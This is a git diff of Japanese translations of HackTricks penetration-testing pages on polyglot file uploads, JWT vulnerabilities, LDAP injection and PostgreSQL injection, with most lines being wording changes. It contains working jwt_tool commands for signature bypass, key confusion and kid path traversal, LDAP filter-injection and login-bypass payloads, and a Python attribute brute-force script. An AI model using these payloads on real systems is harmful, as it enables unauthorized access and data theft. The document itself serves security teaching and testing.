詳細情報は: [https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/](https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/)
|
||||
詳細情報は次のリンクで確認できます: [https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/](https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/)
|
||||
|
||||
## ポリグロットファイル
|
||||
|
||||
ポリグロットファイルはサイバーセキュリティにおけるユニークなツールであり、複数のファイル形式に同時に有効に存在できるカメレオンのような役割を果たします。興味深い例として、GIFとRARアーカイブの両方として機能するハイブリッドである[Gifar](https://en.wikipedia.org/wiki/Gifar)があります。このようなファイルはこのペアリングに限らず、GIFとJSやPPTとJSのような組み合わせも可能です。
|
||||
ポリグロットファイルはサイバーセキュリティにおけるユニークなツールであり、複数のファイル形式に同時に有効に存在できるカメレオンのような役割を果たします。興味深い例として、GIFとRARアーカイブの両方として機能するハイブリッドである[Gifar](https://en.wikipedia.org/wiki/Gifar)があります。このようなファイルはこのペアリングに限らず、GIFとJSやPPTとJSの組み合わせも可能です。
|
||||
|
||||
ポリグロットファイルの主な利点は、タイプに基づいてファイルをスクリーニングするセキュリティ対策を回避できる能力にあります。さまざまなアプリケーションでは、JPEG、GIF、DOCなどの特定のファイルタイプのみをアップロードすることが一般的であり、潜在的に有害なフォーマット(例:JS、PHP、Pharファイル)によるリスクを軽減します。しかし、ポリグロットは複数のファイルタイプの構造基準に適合することで、これらの制限を巧妙に回避できます。
|
||||
|
||||
適応性があるにもかかわらず、ポリグロットには制限があります。たとえば、ポリグロットがPHARファイル(PHp ARchive)とJPEGを同時に具現化している場合でも、そのアップロードの成功はプラットフォームのファイル拡張子ポリシーに依存する可能性があります。システムが許可される拡張子に厳格である場合、ポリグロットの単なる構造的二重性ではアップロードを保証するには不十分かもしれません。
|
||||
|
||||
詳細情報は: [https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a](https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a)
|
||||
詳細情報は次のリンクで確認できます: [https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a](https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a)
|
||||
|
||||
## 参考文献
|
||||
|
||||
|
@ -329,15 +329,15 @@ PNGファイルのIDATチャンクにPHPシェルを埋め込むことで、特
|
|||
* [https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/](https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/)
|
||||
* [https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a](https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a)
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
あなたが**ハッキングキャリア**に興味があり、アンハッカブルなものをハックしたいなら - **私たちは採用しています!** (_流暢なポーランド語の読み書きが必要です_)。
|
||||
もしあなたが**ハッキングキャリア**に興味があり、アンハッカブルなものをハックしたいなら - **私たちは採用しています!** (_流暢なポーランド語の読み書きが必要です_).
|
||||
|
||||
{% embed url="https://www.stmcyber.com/careers" %}
|
||||
|
||||
{% hint style="success" %}
|
||||
AWSハッキングを学び、実践する:<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
GCPハッキングを学び、実践する:<img src="../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
AWSハッキングを学び、実践する:<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
GCPハッキングを学び、実践する: <img src="../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
|
|
|
@ -1,32 +1,32 @@
|
|||
# JWTの脆弱性 (Json Web Tokens)
|
||||
|
||||
{% hint style="success" %}
|
||||
AWSハッキングを学び、実践する:<img src="../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
GCPハッキングを学び、実践する: <img src="../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
AWSハッキングを学び、実践する:<img src="../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
GCPハッキングを学び、実践する:<img src="../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>HackTricksをサポートする</summary>
|
||||
|
||||
* [**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)を確認してください!
|
||||
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**テレグラムグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォローしてください。**
|
||||
* **ハッキングのトリックを共有するために、[**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のgithubリポジトリにPRを提出してください。**
|
||||
* [**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)を確認してください!
|
||||
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**Telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォローしてください。**
|
||||
* **ハッキングのトリックを共有するには、[**HackTricks**](https://github.com/carlospolop/hacktricks)および[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してください。**
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
**ハッキングキャリア**に興味があり、アンハッカブルをハックしたい方 - **私たちは採用しています!** (_流暢なポーランド語の読み書きが必要です_).
|
||||
**ハッキングキャリア**に興味があり、ハッキング不可能なものをハッキングしたい方 - **私たちは採用しています!** (_流暢なポーランド語の読み書きが必要です_)。
|
||||
|
||||
{% embed url="https://www.stmcyber.com/careers" %}
|
||||
|
||||
**この記事の一部は素晴らしい投稿に基づいています:** [**https://github.com/ticarpi/jwt\_tool/wiki/Attack-Methodology**](https://github.com/ticarpi/jwt\_tool/wiki/Attack-Methodology)\
|
||||
**この記事の一部は素晴らしい投稿に基づいています:** [**https://github.com/ticarpi/jwt\_tool/wiki/Attack-Methodology**](https://github.com/ticarpi/jwt\_tool/wiki/Attack-Methodology)\
|
||||
**JWTをペンテストするための素晴らしいツールの作者** [**https://github.com/ticarpi/jwt\_tool**](https://github.com/ticarpi/jwt\_tool)
|
||||
|
||||
### **クイックウィン**
|
||||
|
||||
[**jwt\_tool**](https://github.com/ticarpi/jwt\_tool)を`All Tests!`モードで実行し、緑のラインを待ちます。
|
||||
[**jwt\_tool**](https://github.com/ticarpi/jwt\_tool)を`All Tests!`モードで実行し、緑の行を待ちます。
|
||||
```bash
|
||||
python3 jwt_tool.py -M at \
|
||||
-t "https://api.example.com/api/v1/user/76bab5dd-9307-ab04-8123-fda81234245" \
|
||||
|
@ -50,7 +50,7 @@ You can also use the [**Burp Extension SignSaboteur**](https://github.com/d0ge/s
|
|||
|
||||
JWTの署名が検証されているかどうかを確認するには:
|
||||
|
||||
* エラーメッセージが検証中を示唆している場合;詳細なエラーに含まれる敏感な情報を確認する必要があります。
|
||||
* エラーメッセージが検証中を示唆している場合;詳細なエラーに含まれる機密情報を確認する必要があります。
|
||||
* 返されたページの変更も検証を示します。
|
||||
* 変更がない場合は検証が行われていないことを示します;この時にペイロードの主張を改ざんする実験を行います。
|
||||
|
||||
|
@ -73,7 +73,7 @@ JWTの署名が検証されているかどうかを確認するには:
|
|||
|
||||
使用するアルゴリズムを「None」に設定し、署名部分を削除します。
|
||||
|
||||
Burp拡張機能「JSON Web Token」を使用してこの脆弱性を試し、JWT内の異なる値を変更します(リクエストをリピーターに送信し、「JSON Web Token」タブでトークンの値を変更できます。「Alg」フィールドの値を「None」に設定することもできます)。
|
||||
Burp拡張機能「JSON Web Token」を使用して、この脆弱性を試し、JWT内の異なる値を変更します(リクエストをリピーターに送信し、「JSON Web Token」タブでトークンの値を変更できます。「Alg」フィールドの値を「None」に設定することもできます)。
|
||||
|
||||
### アルゴリズムRS256(非対称)をHS256(対称)に変更する(CVE-2016-5431/CVE-2016-10555)
|
||||
|
||||
|
@ -82,7 +82,7 @@ Burp拡張機能「JSON Web Token」を使用してこの脆弱性を試し、JW
|
|||
|
||||
アルゴリズムをRS256からHS256に変更すると、バックエンドコードは公開鍵を秘密鍵として使用し、その後HS256アルゴリズムを使用して署名を検証します。
|
||||
|
||||
次に、公開鍵を使用し、RS256をHS256に変更することで、有効な署名を作成できます。これを実行してWebサーバーの証明書を取得できます:
|
||||
次に、公開鍵を使用し、RS256をHS256に変更することで、有効な署名を作成できます。これを実行して、ウェブサーバーの証明書を取得できます:
|
||||
```bash
|
||||
openssl s_client -connect example.com:443 2>&1 < /dev/null | sed -n '/-----BEGIN/,/-----END/p' > certificatechain.pem #For this attack you can use the JOSEPH Burp extension. In the Repeater, select the JWS tab and select the Key confusion attack. Load the PEM, Update the request and send it. (This extension allows you to send the "non" algorithm attack also). It is also recommended to use the tool jwt_tool with the option 2 as the previous Burp Extension does not always works well.
|
||||
openssl x509 -pubkey -in certificatechain.pem -noout > pubkey.pem
|
||||
|
@ -99,11 +99,11 @@ openssl x509 -pubkey -in certificatechain.pem -noout > pubkey.pem
|
|||
この手順は、特に「jku」ヘッダー主張を使用するJWTトークンのセキュリティを評価する方法を詳述しています。この主張は、トークンの検証に必要な公開鍵を含むJWKS(JSON Web Key Set)ファイルにリンクする必要があります。
|
||||
|
||||
* **「jku」ヘッダーを持つトークンの評価**:
|
||||
* 「jku」主張のURLを確認して、適切なJWKSファイルにリンクしていることを確認します。
|
||||
* 「jku」主張のURLを確認し、適切なJWKSファイルにリンクしていることを確認します。
|
||||
* トークンの「jku」値を変更して、制御されたWebサービスに向け、トラフィックを観察できるようにします。
|
||||
* **HTTPインタラクションの監視**:
|
||||
* 指定したURLへのHTTPリクエストを観察することで、サーバーが提供されたリンクから鍵を取得しようとしていることがわかります。
|
||||
* このプロセスで`jwt_tool`を使用する際は、テストを容易にするために`jwtconf.ini`ファイルを個人のJWKSの場所で更新することが重要です。
|
||||
* このプロセスで`jwt_tool`を使用する際は、テストを円滑に進めるために、`jwtconf.ini`ファイルを個人のJWKSの場所で更新することが重要です。
|
||||
* **`jwt_tool`のコマンド**:
|
||||
* 次のコマンドを実行して、`jwt_tool`でシナリオをシミュレートします:
|
||||
|
||||
|
@ -121,7 +121,7 @@ python3 jwt_tool.py JWT_HERE -X s
|
|||
|
||||
#### 「kid」を使用したパストラバーサル
|
||||
|
||||
`kid`主張は、ファイルシステムをナビゲートするために悪用される可能性があり、任意のファイルを選択できる可能性があります。特定のファイルやサービスをターゲットにするために`kid`値を変更することで、接続性をテストしたり、サーバーサイドリクエストフォージェリ(SSRF)攻撃を実行することが可能です。元の署名を保持しながら`kid`値を変更するためにJWTを改ざんすることは、以下のように`-T`フラグを使用して`jwt_tool`で実行できます。
|
||||
`kid`主張は、ファイルシステムをナビゲートするために悪用される可能性があり、任意のファイルを選択できる可能性があります。特定のファイルやサービスをターゲットにするために`kid`値を変更することで、接続性をテストしたり、サーバーサイドリクエストフォージェリ(SSRF)攻撃を実行することが可能です。元の署名を保持しながら`kid`値を変更するためにJWTを改ざんすることは、以下のように`jwt_tool`の`-T`フラグを使用して実現できます。
|
||||
```bash
|
||||
python3 jwt_tool.py <JWT> -I -hc kid -hv "../../dev/null" -S hs256 -p ""
|
||||
```
|
||||
|
@ -209,7 +209,7 @@ const key = new NodeRSA();
|
|||
var importedKey = key.importKey({n: Buffer.from(n, 'base64'),e: Buffer.from(e, 'base64'),}, 'components-public');
|
||||
console.log(importedKey.exportKey("public"));
|
||||
```
|
||||
新しいプライベート/パブリックキーを生成し、新しいパブリックキーをトークン内に埋め込み、それを使用して新しい署名を生成することが可能です:
|
||||
新しいプライベート/パブリックキーを生成し、新しいパブリックキーをトークン内に埋め込み、それを使用して新しい署名を生成することが可能です:
|
||||
```bash
|
||||
openssl genrsa -out keypair.pem 2048
|
||||
openssl rsa -in keypair.pem -pubout -out publickey.crt
|
||||
|
@ -235,7 +235,7 @@ console.log('Parameter e: ', publicComponents.e.toString(16));
|
|||
|
||||
### JTI (JWT ID)
|
||||
|
||||
JTI (JWT ID) クレームは、JWTトークンの一意の識別子を提供します。これは、トークンの再生を防ぐために使用できます。\
|
||||
JTI (JWT ID)クレームは、JWTトークンの一意の識別子を提供します。これは、トークンの再生を防ぐために使用できます。\
|
||||
しかし、IDの最大長が4(0001-9999)である状況を想像してください。リクエスト0001と10001は同じIDを使用します。したがって、バックエンドが各リクエストでIDをインクリメントしている場合、これを悪用して**リクエストを再生する**ことができます(各成功した再生の間に10000リクエストを送信する必要があります)。
|
||||
|
||||
### JWT登録クレーム
|
||||
|
@ -248,21 +248,21 @@ JTI (JWT ID) クレームは、JWTトークンの一意の識別子を提供し
|
|||
|
||||
いくつかのウェブアプリケーションがトークンの生成と管理のために信頼されたJWTサービスに依存していることが観察されています。JWTサービスによって1つのクライアントのために生成されたトークンが、同じJWTサービスの別のクライアントによって受け入れられた事例が記録されています。サードパーティサービスを介してJWTの発行または更新が観察された場合、同じユーザー名/メールを使用してそのサービスの別のクライアントにアカウントを登録する可能性を調査する必要があります。その後、取得したトークンをターゲットへのリクエストで再生して受け入れられるかどうかを確認する試みを行うべきです。
|
||||
|
||||
* あなたのトークンが受け入れられることによって重大な問題が示される可能性があり、これにより任意のユーザーアカウントの偽装が可能になるかもしれません。ただし、サードパーティアプリケーションにサインアップする場合、これは法的なグレーゾーンに入る可能性があるため、より広範なテストの許可が必要になることに注意してください。
|
||||
* あなたのトークンが受け入れられる場合、重大な問題が示される可能性があり、任意のユーザーアカウントの偽装を許可する可能性があります。ただし、サードパーティアプリケーションにサインアップする場合、より広範なテストの許可が必要になる可能性があるため、これは法的なグレーゾーンに入る可能性があります。
|
||||
|
||||
**トークンの有効期限チェック**
|
||||
|
||||
トークンの有効期限は「exp」ペイロードクレームを使用してチェックされます。JWTはセッション情報なしで使用されることが多いため、慎重な取り扱いが必要です。多くの場合、他のユーザーのJWTをキャプチャして再生することで、そのユーザーのなりすましが可能になることがあります。JWT RFCは、トークンの有効期限を設定するために「exp」クレームを利用してJWT再生攻撃を軽減することを推奨しています。さらに、この値の処理と期限切れトークンの拒否を確実にするために、アプリケーションによる関連チェックの実装が重要です。トークンに「exp」クレームが含まれており、テストの時間制限が許可される場合、有効期限が切れた後にトークンを保存して再生することが推奨されます。トークンの内容、タイムスタンプの解析および有効期限のチェック(UTCのタイムスタンプを含む)は、jwt_toolの-Rフラグを使用して読み取ることができます。
|
||||
トークンの有効期限は「exp」ペイロードクレームを使用してチェックされます。JWTはセッション情報なしで使用されることが多いため、慎重な取り扱いが必要です。多くの場合、他のユーザーのJWTをキャプチャして再生することで、そのユーザーを偽装できる可能性があります。JWT RFCは、トークンの有効期限を設定するために「exp」クレームを利用してJWT再生攻撃を軽減することを推奨しています。さらに、この値の処理と期限切れトークンの拒否を確実にするために、アプリケーションによる関連チェックの実装が重要です。トークンに「exp」クレームが含まれており、テストの時間制限が許可される場合、有効期限が切れた後にトークンを保存して再生することが推奨されます。トークンの内容、タイムスタンプの解析と有効期限のチェック(UTCのタイムスタンプを含む)は、jwt_toolの-Rフラグを使用して読み取ることができます。
|
||||
|
||||
* アプリケーションがトークンをまだ検証している場合、トークンが決して期限切れにならないことを示唆する可能性があるため、セキュリティリスクが存在するかもしれません。
|
||||
* アプリケーションがトークンをまだ検証している場合、トークンが決して期限切れにならないことを示唆する可能性があるため、セキュリティリスクが存在する可能性があります。
|
||||
|
||||
### ツール
|
||||
|
||||
{% embed url="https://github.com/ticarpi/jwt_tool" %}
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
あなたが**ハッキングキャリア**に興味があり、ハッキング不可能なものをハッキングしたい場合 - **私たちは採用しています!** (_流暢なポーランド語の読み書きが必要です_)。
|
||||
あなたが**ハッキングキャリア**に興味があり、ハッキング不可能なものをハックしたい場合 - **私たちは採用しています!** (_流暢なポーランド語の読み書きが必要です_)。
|
||||
|
||||
{% embed url="https://www.stmcyber.com/careers" %}
|
||||
|
||||
|
@ -275,8 +275,8 @@ GCPハッキングを学び、実践する: <img src="../.gitbook/assets/grte.pn
|
|||
<summary>HackTricksをサポートする</summary>
|
||||
|
||||
* [**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)を確認してください!
|
||||
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**Telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォローしてください。**
|
||||
* **ハッキングのトリックを共有するために、[**HackTricks**](https://github.com/carlospolop/hacktricks)および[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してください。**
|
||||
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**テレグラムグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォローしてください。**
|
||||
* **ハッキングのトリックを共有するために、[**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のgithubリポジトリにPRを提出してください。**
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -3,23 +3,23 @@
|
|||
## LDAP Injection
|
||||
|
||||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
AWSハッキングを学び、実践する:<img src="../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
GCPハッキングを学び、実践する: <img src="../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Support HackTricks</summary>
|
||||
<summary>HackTricksをサポートする</summary>
|
||||
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
* [**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)を確認してください!
|
||||
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**Telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォローしてください。**
|
||||
* **ハッキングのトリックを共有するには、[**HackTricks**](https://github.com/carlospolop/hacktricks)および[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してください。**
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
If you are interested in **hacking career** and hack the unhackable - **we are hiring!** (_流暢なポーランド語の読み書きが必要_).
|
||||
**ハッキングキャリア**に興味があり、ハッキング不可能なものをハッキングしたい方 - **私たちは採用しています!** (_流暢なポーランド語の読み書きが必要です_)。
|
||||
|
||||
{% embed url="https://www.stmcyber.com/careers" %}
|
||||
|
||||
|
@ -27,13 +27,13 @@ If you are interested in **hacking career** and hack the unhackable - **we are h
|
|||
|
||||
### **LDAP**
|
||||
|
||||
**LDAPとは何かを知りたい場合は、以下のページにアクセスしてください:**
|
||||
**LDAPとは何かを知りたい場合は、以下のページにアクセスしてください:**
|
||||
|
||||
{% content-ref url="../network-services-pentesting/pentesting-ldap.md" %}
|
||||
[pentesting-ldap.md](../network-services-pentesting/pentesting-ldap.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
**LDAP Injection**は、ユーザー入力からLDAPステートメントを構築するWebアプリケーションを対象とした攻撃です。アプリケーションが入力を**適切にサニタイズしない**場合に発生し、攻撃者がローカルプロキシを通じて**LDAPステートメントを操作**できるようになり、無許可のアクセスやデータ操作につながる可能性があります。
|
||||
**LDAP Injection**は、ユーザー入力からLDAPステートメントを構築するWebアプリケーションを対象とした攻撃です。アプリケーションが入力を**適切にサニタイズしない**場合に発生し、攻撃者がローカルプロキシを介して**LDAPステートメントを操作**できるようになり、無許可のアクセスやデータ操作につながる可能性があります。
|
||||
|
||||
{% file src="../.gitbook/assets/EN-Blackhat-Europe-2008-LDAP-Injection-Blind-LDAP-Injection.pdf" %}
|
||||
|
||||
|
@ -53,29 +53,29 @@ If you are interested in **hacking career** and hack the unhackable - **we are h
|
|||
**(&)** = Absolute TRUE\
|
||||
**(|)** = Absolute FALSE
|
||||
|
||||
For example:\
|
||||
例えば:\
|
||||
`(&(!(objectClass=Impresoras))(uid=s*))`\
|
||||
`(&(objectClass=user)(uid=*))`
|
||||
|
||||
You can access to the database, and this can content information of a lot of different types.
|
||||
データベースにアクセスでき、さまざまなタイプの情報が含まれている可能性があります。
|
||||
|
||||
**OpenLDAP**: 2つのフィルターが到着した場合、最初のフィルターのみを実行します。\
|
||||
**ADAMまたはMicrosoft LDS**: 2つのフィルターでエラーが発生します。\
|
||||
**SunOne Directory Server 5.0**: 両方のフィルターを実行します。
|
||||
|
||||
**フィルターは正しい構文で送信することが非常に重要です。エラーが発生します。1つのフィルターのみを送信する方が良いです。**
|
||||
**正しい構文でフィルターを送信することが非常に重要です。エラーが発生します。1つのフィルターのみを送信する方が良いです。**
|
||||
|
||||
フィルターは次のように始まる必要があります: `&` または `|`\
|
||||
Example: `(&(directory=val1)(folder=public))`
|
||||
フィルターは次のように始まる必要があります: `&` または `|`\
|
||||
例: `(&(directory=val1)(folder=public))`
|
||||
|
||||
`(&(objectClass=VALUE1)(type=Epson*))`\
|
||||
`VALUE1 = *)(ObjectClass=*))(&(objectClass=void`
|
||||
|
||||
Then: `(&(objectClass=`**`*)(ObjectClass=*))`** が最初のフィルター(実行されるもの)になります。
|
||||
次に: `(&(objectClass=`**`*)(ObjectClass=*))`**が最初のフィルター(実行されるもの)になります。
|
||||
|
||||
### Login Bypass
|
||||
|
||||
LDAPは、パスワードを保存するためのいくつかの形式をサポートしています: clear, md5, smd5, sh1, sha, crypt。したがって、パスワードに挿入する内容に関係なく、ハッシュ化される可能性があります。
|
||||
LDAPは、パスワードを保存するためのいくつかの形式をサポートしています:クリア、md5、smd5、sh1、sha、crypt。したがって、パスワードに挿入する内容に関係なく、ハッシュ化される可能性があります。
|
||||
```bash
|
||||
user=*
|
||||
password=*
|
||||
|
@ -167,7 +167,7 @@ ascii文字、数字、記号を繰り返すことができます:
|
|||
|
||||
#### **有効なLDAPフィールドを発見する**
|
||||
|
||||
LDAPオブジェクトは**デフォルトでいくつかの属性を含んでおり**、それを使って**情報を保存する**ことができます。**それらすべてをブルートフォースして情報を抽出する**ことを試みることができます。 [**デフォルトのLDAP属性のリストはこちら**](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/LDAP%20Injection/Intruder/LDAP\_attributes.txt)で見つけることができます。
|
||||
LDAPオブジェクトは**デフォルトでいくつかの属性を含んでおり**、それを使って**情報を保存することができます**。それらを**ブルートフォースして情報を抽出することを試みることができます**。 [**デフォルトのLDAP属性のリストはこちら**](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/LDAP%20Injection/Intruder/LDAP\_attributes.txt)で見つけることができます。
|
||||
```python
|
||||
#!/usr/bin/python3
|
||||
import requests
|
||||
|
@ -224,7 +224,7 @@ intitle:"phpLDAPadmin" inurl:cmd.php
|
|||
|
||||
{% embed url="https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/LDAP%20Injection" %}
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
もしあなたが**ハッキングキャリア**に興味があり、アンハッカブルなものをハックしたいなら - **私たちは採用しています!** (_流暢なポーランド語の読み書きが必要です_)。
|
||||
|
||||
|
@ -239,7 +239,7 @@ GCPハッキングを学び、実践する:<img src="../.gitbook/assets/grte.p
|
|||
<summary>HackTricksをサポートする</summary>
|
||||
|
||||
* [**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)を確認してください!
|
||||
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**Telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォローしてください。**
|
||||
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**テレグラムグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォローしてください。**
|
||||
* **ハッキングのトリックを共有するために、[**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してください。**
|
||||
|
||||
</details>
|
||||
|
|
|
@ -15,7 +15,7 @@ GCPハッキングを学び、実践する:<img src="../../../.gitbook/assets/
|
|||
</details>
|
||||
{% endhint %}
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/image (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
**ハッキングキャリア**に興味があり、ハッキング不可能なものをハッキングしたい方 - **私たちは採用しています!** (_流暢なポーランド語の読み書きが必要です_)。
|
||||
|
||||
|
@ -33,9 +33,9 @@ GCPハッキングを学び、実践する:<img src="../../../.gitbook/assets/
|
|||
|
||||
[**この例を読む**](dblink-lo_import-data-exfiltration.md)と、**大きなオブジェクト内にデータをロードし、その後、`dblink_connect`関数のユーザー名内の大きなオブジェクトの内容をエクスフィルトレーションする方法**のCTF例を確認できます。
|
||||
|
||||
## PostgreSQL攻撃:読み取り/書き込み、RCE、権限昇格
|
||||
## PostgreSQL攻撃:読み書き、RCE、権限昇格
|
||||
|
||||
PostgreSQLからホストを侵害し、権限を昇格させる方法を確認してください:
|
||||
ホストを侵害し、PostgreSQLから権限を昇格させる方法を確認してください:
|
||||
|
||||
{% content-ref url="../../../network-services-pentesting/pentesting-postgresql.md" %}
|
||||
[pentesting-postgresql.md](../../../network-services-pentesting/pentesting-postgresql.md)
|
||||
|
@ -50,7 +50,7 @@ PostgreSQLからホストを侵害し、権限を昇格させる方法を確認
|
|||
|
||||
### スタッククエリ
|
||||
|
||||
PostgreSQLはスタッククエリをサポートしていますが、2つのレスポンスが返されるとエラーをスローするアプリケーションがいくつかあります。ただし、時間インジェクションを介してスタッククエリを悪用することは可能です:
|
||||
